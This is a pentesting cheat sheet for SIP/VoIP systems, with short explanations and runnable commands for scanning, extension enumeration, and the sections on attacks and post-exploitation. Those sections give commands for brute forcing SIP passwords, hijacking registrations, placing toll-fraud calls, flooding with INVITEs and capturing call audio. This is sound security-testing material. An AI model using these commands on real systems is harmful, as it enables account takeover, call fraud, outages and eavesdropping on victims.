SIP and VoIP
Default Ports: 5060 (SIP), 5061 (SIP over TLS)
SIP is used by VoIP phones, PBXs, trunks, and call platforms. In pentests, SIP can expose extensions, weak phone credentials, call routing abuse, voicemail access, and PBX management weaknesses.
Connect
Using SIPVicious
SIPVicious is commonly used for SIP scanning and extension enumeration.
svmap target.com
svwar -m INVITE target.com
svwar -m REGISTER target.com
Using sipsak
sipsak sends SIP requests and checks server behavior.
sipsak -s sip:target.com
sipsak -vv -s sip:1000@target.com
sipsak -U -s sip:target.com
Using Linphone
A SIP softphone validates registration and call behavior with approved accounts.
linphonec
register sip:1000@target.com target.com password
call sip:1001@target.com
Using TLS
SIP over TLS should be checked for certificate and protocol issues.
openssl s_client -connect target.com:5061 -servername target.com
nmap -p 5061 --script ssl-cert,ssl-enum-ciphers target.com
Recon
Service Detection with Nmap
Scan UDP, TCP, and TLS SIP ports.
nmap -sU -sT -p 5060,5061 -sV target.com
nmap -sU -p 5060 --script sip-methods,sip-enum-users target.com
nmap -p 5061 --script ssl-cert,ssl-enum-ciphers target.com
SIP Method Discovery
Allowed methods reveal proxy, registrar, and PBX behavior.
nmap -sU -p 5060 --script sip-methods target.com
sipsak -vv -s sip:target.com
PBX Fingerprinting
Headers and error messages often reveal Asterisk, FreePBX, Kamailio, or Cisco systems.
svmap target.com
sipsak -vv -s sip:invalid@target.com
Enumeration
Extension Enumeration
Extension enumeration identifies valid users, phones, and voicemail targets.
svwar -m REGISTER -e1000-9999 target.com
svwar -m INVITE -e1000-9999 target.com
svwar -m OPTIONS -e1000-9999 target.com
Registration Check
Registration behavior can reveal valid extensions and authentication responses.
sipsak -vv -s sip:1000@target.com
sipsak -vv -s sip:9999@target.com
User and Trunk Discovery
Look for predictable extension ranges and trunk usernames.
svwar -D extensions.txt target.com
svwar -D users.txt -m REGISTER target.com
RTP Discovery
RTP media ranges may expose audio streams if not protected.
nmap -sU -p 10000-20000 target.com
rtpbreak -i eth0
Attack Vectors
Weak SIP Credentials
SIP phones often use numeric extensions and weak PIN-style passwords.
svcrack -u 1000 -r passwords.txt target.com
hydra -s 5060 -U -L users.txt -P passwords.txt target.com sip
Registration Hijacking
Valid SIP credentials can register a softphone as another extension.
linphonec
register sip:1000@target.com target.com password
Toll Fraud
Authenticated SIP access may allow outbound call abuse.
sipsak -s sip:+15551234567@target.com -a password -U -f invite.txt
Voicemail Access
Voicemail systems often use weak PINs or extension-based defaults.
svwar -D voicemail-extensions.txt target.com
SIP Invite Flooding
DoS tests must be explicitly scoped because voice systems are sensitive.
inviteflood eth0 target.com 1000 target.com 100
RTP Eavesdropping
Unencrypted RTP may expose call audio on local networks.
rtpbreak -i eth0
wireshark
Post-Exploitation
Call Path Review
Document reachable extensions, trunks, and dial patterns.
svwar -m REGISTER -e1000-9999 target.com > sip-extensions.txt
grep -Ei 'trunk|outbound|international|voicemail' sip-extensions.txt
Credential Reuse Check
Validate whether SIP credentials work on PBX portals or voicemail.
netexec http target.com -u users.txt -p passwords.txt
Evidence Collection
Collect banners, valid extensions, and scoped authentication evidence.
svmap target.com > sip-map.txt
svwar -m REGISTER -e1000-9999 target.com > sip-users.txt
Useful Tools
| Tool | Purpose |
|---|---|
sipvicious | SIP scanning and brute force |
sipsak | SIP request testing |
nmap | SIP service detection |
linphonec | Softphone testing |
hydra | Credential testing |
rtpbreak | RTP capture analysis |
Wireshark | SIP/RTP packet analysis |
Security Misconfigurations
| Misconfiguration | Risk |
|---|---|
| Extension enumeration | User and phone discovery |
| Weak SIP passwords | Registration hijacking |
| Exposed PBX | Voice infrastructure attack surface |
| Unrestricted outbound calls | Toll fraud |
| Weak voicemail PINs | Voicemail compromise |
| Unencrypted RTP | Call audio exposure |
| SIP over UDP exposed broadly | Brute force and scanning risk |